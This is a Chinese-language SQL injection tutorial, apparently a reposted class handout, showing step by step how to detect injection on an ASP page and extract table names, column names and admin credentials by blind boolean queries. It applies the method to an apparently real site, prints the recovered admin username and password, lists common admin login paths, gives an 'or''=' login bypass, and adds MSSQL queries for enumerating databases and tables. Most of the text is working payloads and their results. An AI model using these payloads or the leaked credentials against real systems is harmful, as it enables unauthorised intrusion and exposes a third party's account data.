SQL注入基础

来源:互联网 发布:简支梁受力计算 软件 编辑:程序博客网 时间:2024/04/29 23:03

Tag: SQL注入基础                                          

 

 

说明:我再次说明请大家不要恶意破坏,我们只是学习.上次再课上给大家的实例等我再去准备用它来做动画的时候已经被修改过了.唉....害的我又重新找了一个.

好下面开始了.....

1.判断

用'            ;
用 and 1=1    and 1=2

判断是很重要并且最主要的一步,因为如果你手工注入不判断那么怎么继续呢..
============================================================================
' 返回  

Microsoft JET Database Engine 错误 '80040e14'

语法错误 (操作符丢失) 在查询表达式 'ID = 544''' 中。

/jiaren.asp,行15

============================================================================

; 返回正常页面

===============================
and 1=1  返回正常页面

================================
and 1=2  返回错误页面

编号:

ADODB.Field 错误 '800a0bcd'

BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。

/jiaren.asp,行28
==============================================================================

上面我们进行了简单的判断,可以知道该页面存在注入.这个时候会有很多朋友要问,这样为什么就存在注入呢.呵呵你只要记住我们就是靠返回页面的不同来判断的.只有它两次返回页面不相同那么就可以知道存在了.


2.猜表
and 0<>(select count(*) from *)
这个就最基础,最大众话的查询语句了.至于语句的作用我会给大家说明.但是具体的意思请大家自行找有关SQL查询的资料看.

and 0<>(select count(*) from admin) ---判断是否存在admin这张表

其中admin是可以换的,其他部分不要换.
我们刚刚返回的是正确页面说明存在admin这张表.如果返回错误说明不存在,那么我们就要换其他的.如: and 0<>(select count(*) from user) 当然啦,只要你想到都可以试试.那天我在课上我给了大家两个提示,没有想到很多人居然就知道这两个了.还问我把admin , user 换成其他的可不可以.同志们,这个admin user 是可以替换的.但是,不是随便换你要想一下平时人家都是用什么名称来做表名.因为你是在猜表,也要有思路的猜不是乱猜.换成123 456 那有用吗.没有用因为没有谁会用这个去做表的名称.
一般的表的名称无非是admin adminuser user pass password 等..

3.猜帐号数目
and 0<(select count(*) from admin)
大家会发现和上面的语句差不多.呵呵其实查询部分就是一样不同的是前面的数字.这个数字就是去看看有几个用户帐号.是要换的哦.不是固定是1..因为我们是猜呀.也就是现在我们也不知道它表里面数据到底有几个帐号所以要猜,如果固定的那么就不叫猜了呵呵..
1<  就是说看看 1是不是小于里面的帐号数目 如果返回的页面是正确的说明是对的,如果错误的说明不是的那么我们就要换成 2<  3< .....  当然啦你也可以用1> 2> 来猜.
如果遇到0< 返回正确页面 1<返回错误页面说明帐号数目就是1个 具体的数学上面判断大小不会要我去教你们了吧.
下面我做给你们看,这里我是从0开始判断 呵呵返回正确页面肯定会返回的因为里面不可能一个管理员帐号都没有的. 返回错误了哦.说明什么他里面就只有一个管理员帐号.我们换成1=看看是不是 OK返回正确页面说明是的.
如果里面有几个帐号这个时候大家就要知道具体猜哪个帐号了.

4.猜解字段名称
and 1=(select count(*) from admin where len(name)>0) 用户字段名称

and 1=(select count(*) from admin where len(password)>0) 密码字段名称

猜解表里面的字段名称了
and 1=(select count(*) from admin where len(*)>0)---  这个是核心语句哦也是大众话的语句.我们要做的就是在len( ) 括号里面加上我们想到的字段名称.

我们先来猜用户名字段 我用的是 name OK对了.那么下面我们就来猜密码字段了.
我先用pass 晕死不是的,那么我们再换成password看看 ok对了.
那么用户字段和密码字段我们都猜解出来了.下面就是猜解长度和具体的字符了.

5.猜解各个字段的长度
猜解长度就是把
and 1=(select count(*) from admin where len(*)>0)

>0 换成其他的只道猜到=?返回正确页面为止,好,下面我们开始吧.
首先是帐号长度...刚刚帐号字段是name
and 1=(select count(*) from admin where len(name)>0) 正确
and 1=(select count(*) from admin where len(name)>1) 正确
and 1=(select count(*) from admin where len(name)>2) 正确
and 1=(select count(*) from admin where len(name)>6) 错误
and 1=(select count(*) from admin where len(name)>5) 正确
and 1=(select count(*) from admin where len(name)>4) 正确
那么我们就可以知道长度是 6
and 1=(select count(*) from admin where len(name)=6) 正确
呵呵对了吧,=6返回的是正确页面.

下面是密码字段的长度
and 1=(select count(*) from admin where len(password)>0) 正确
and 1=(select count(*) from admin where len(password)>6) 正确
and 1=(select count(*) from admin where len(password)>10) 正确
and 1=(select count(*) from admin where len(password)>15) 错误
and 1=(select count(*) from admin where len(password)>14) 错误
and 1=(select count(*) from admin where len(password)>13) 错误
and 1=(select count(*) from admin where len(password)>12) 错误
and 1=(select count(*) from admin where len(password)>11) 正确
OK长度是 12

name 6
password 12

长度出来了,下面就是具体的字符了


6.猜解字符
and 1=(select count(*) from admin where left(name,1)='a')  ---猜解用户
and 1=(select count(*) from admin where left(password,1)='a')
就这样一次加一个字符这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了

and 1=(select count(*) from admin where left(pass,1)='a') ---猜解密码

left(name,1)='a' 注意了 1的位置就是你要猜解的字符的位置.
and 1=(select count(*) from admin where left(name,1)='a') ---猜解用户帐号的第一位
and 1=(select count(*) from admin where left(name,2)='ab')---猜解用户帐号的第二位
就这样下去只到猜玩为止.

and 1=(select count(*) from admin where left(name,1)='a') 错误
.....
and 1=(select count(*) from admin where left(name,6)='pclzyq')
因为这个猜解过程比较漫长所以我就直接给出答案了.

and 1=(select count(*) from admin where left(password,1)='a') 错误
.......
and 1=(select count(*) from admin where left(password,12)='pclzyq000215')
直接给出了答案.

name = pclzyq
password = pclzyq000215


7.找出登陆口,进行登陆
一般的登陆口:
admin.asp
admin_index.asp
admin/index.asp
admin/admin.asp
....
大家可以自己去积累..积累多了不要忘了做成文本文件传给我哦.^_^

我们这里登陆口是 http://www.talewin.com/admin.asp 下面就是进行登陆了.

呵呵,后台简单吧写这个程序的人估计也很简单因为他这个登陆口还存在另外一个问题.
用 'or''=' 进行登陆看看 , 看见了吧也可以进去哦.呵呵


说明:

命令:SELECT
中文意思:选择
说明:用于找出合乎条件的记录

加总函数:COUNT
中文意思:数量
说明:用于求指定的数量

子句:FROM
中文意思:数据表
说明:用于指定数据表

子句:WHERE
中文意思:条件
说明:用于设定条件

运算符:AND
中文意思:并且
说明:逻辑且

TOP  --取出前面的指定长度数据
select top 10 * from .....

and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51)  -- 这个查询语句可以猜解中文的用户和密码.只要大家把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字符.

好动画就到这里了,我觉得已经讲的很清楚了.如果还有谁不明白可以到论坛去问,我会给你回答的.

 


得到所有库名和存储路径 select  name,filename from master.dbo.sysdatabases
得到一个库的所有表名 select * from master.dbo.sysobjects where xtype='U'